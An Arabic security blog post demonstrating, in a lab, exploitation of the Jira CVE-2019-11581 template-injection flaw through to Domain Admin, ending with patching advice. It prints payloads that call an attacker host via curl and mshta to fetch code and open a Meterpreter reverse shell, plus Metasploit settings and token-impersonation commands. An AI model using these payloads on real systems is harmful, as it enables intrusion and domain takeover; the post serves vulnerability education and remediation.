استغلال ثغرة CVE-2019-11581 للوصول إلى صلاحية Domain Admin

أسامة الغامدي
20/12/2020

مقدمة
هذه المدونة تتحدث عن ثغرة عالية الخطورة على Jira اكتشفت في تاريخ 08/09/2019 وكيفية استغلالها. استغلال الثغرة سيكون عن طريق سيناريو يوضح مدى خطورتها على المنشأة بأكملها.
عن الثغرة
كما ورد في المقالة، الخاصيتين "Bulk Email Send" و "Contact Admin" متأثرة بـ server-side template injection. خاصية "Bulk Email Send " تحتاج إلى صلاحيات Admin على Jira ليتم استغلالها، مما يجعلها ثغرة من نوع privilege escalation والتي تمكن Admin Jira من تشغيل أوامر على مستوى نظام التشغيل بصلاحية SYSTEM (إذا كان يعمل على Windows). أما الخاصية الأخرى "Contact Admin" يمكن استغلالها من دون أي صلاحية على Jira لتشغيل أوامر على مستوى النظام بصلاحية SYSTEM. يجب تفعيل هذه الخاصية، حيث انها غير مفعلة بشكل افتراضي، وتتطلب ضبط اعدادات للـ SMTP..
بعد ضبط اعدادات الـ SMTP وتمكين خاصية ""Contact Admin ، يمكن الوصول إلى الصفحة المتأثرة على الرابط التالي:
http://localhost:8080/secure/ContactAdministrators!default.jspa
الخانة المتأثرة في الصفحة هي"Subject".
تستخدم المقالة أداة CURL التي تقوم بطلب صفحة على جهاز المهاجم كـ PoC:
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://attackerIP').waitFor()
لكن، ماذا لوكنا نريد الحصول على shell للتحكم بالنظام؟
استغلال الثغرة
أردت استغلال الثغرة بشكل أكبر والحصول على reverse shell على نظام الـ Windows بوجود Windows Defender. قمت بعدة محاولات للحصول على reverse shell، إحدى المحاولات الناجحة كانت عن طريق استخدام أداة mshta.exe من خلال Metasploit.

إعدادات Metasploit كالتالي
Module:

use exploit/windows/misc/hta_server

Parameters:

set SRVHOST <My-IP> 

set SRVPORT <80> 

set URIPATH <svchot.hta>

set LHOST <My-IP> 

set LPORT <443>
بعد ضبط إعدادات Metasploit، لنقم باستغلال الثغرة المؤثرة على خانة "Subject" الموجودة في صفحة"Contact Administrator".

الـ Payload سيكون كالتالي:
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('mshta.exe http://<My-IP>:80/payload.hta').waitFor()
بعد إرسال الطلب، استغرق الأمر بعض الوقت حتى حصلنا على Meterpreter reverse shell .
من خلال كتابة (sessions)، نرى أن الـ reverse shell يعمل بصلاحية SYSTEM.
من خلال كتابة (sysinfo)، يظهر لنا معلومات الجهاز، كنظام التشغيل واسم الـ Domain.

اسم السيرفر:
WEF
اسم الـdomain:
WINDOMAIN
لقد انتهينا من مرحلة الاستغلال في هذه المرحلة، ولكن، لإظهار التأثير الحقيقي للثغرة، لنقم بتنفيذ أنشطة ما بعد الاستغلال لإظهار ما يمكن للمهاجمين فعله بعد استغلال ثغرة Jira.
ما بعد الاستغلال
بما أن لدينا صلاحية SYSTEM على جهازWEF، والجهاز متصل بـ AD environment ، لنرى اذا كان هناك أي مستخدم جزء من الـ Domainيمكننا من خلاله القيام بـ token impersonation وذلك بتشغيل الأمر(load incognito) وبعدها(list_tokens –u). نرى أن هنالك أثنين من المستخدمين المرتبطين بالـ domain وهم"osama" و"vagrant".
لنرى المجموعات المنضمين لها من خلال تنفيذ الأمر(net user <user> /domain) بداية من المستخدم"vagrant" ونرى انه جزء من عدة مجموعات المرتبطة بالـ domain.
أما بالنسبة للمستخدم الآخر"osama" فهو جزء من مجموعة الـ Domain Admins وهذا يعني انه يملك أكبر صلاحية على مستوى الـ domain.
لنقم باستخدام الـ token impersonation على"osama" بما أنه يملك أعلى الصلاحيات في الـ domain وذلك باستخدام الأمر(impersonate_token WINDOMAIN\\osama)
لنقم بتنفيذ الأمر (whoami) لنرى أننا الآن نملك صلاحيات"osama".
بما أننا نملك الصلاحية لتشغيل أوامر كـdomain admin، يمكننا الانتقال الى جهاز آخر داخل الـ domain وذلك عن طريق تنفذي الأمر (etsn dc)ونرى من خلاله أنه تم الدخول الى الـ
domain controller dc.
تم إجراء هذا السيناريو البسيط في بيئة معملية لإظهار التأثير المحتمل لاستغلال ثغرة Jira، ولكن يمكن أن يحدث هذا السيناريو أيضا في البيئات الحقيقية .
إصلاح الثغرة
إذا كنت تستخدم تطبيق Jira، فتأكد من تثبيت أحدث إصدار. للتحقق من الإصدارات المتأثرة بالثغرة (CVE-2019-11581)، يمكنك التحقق من Jira Security Advisory في الرابط أدناه:

https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html


لمشاركة هذه المدونة
تابعنا
طور مهاراتك من خلال متابعة آخر منشورات فريقنا
المدونات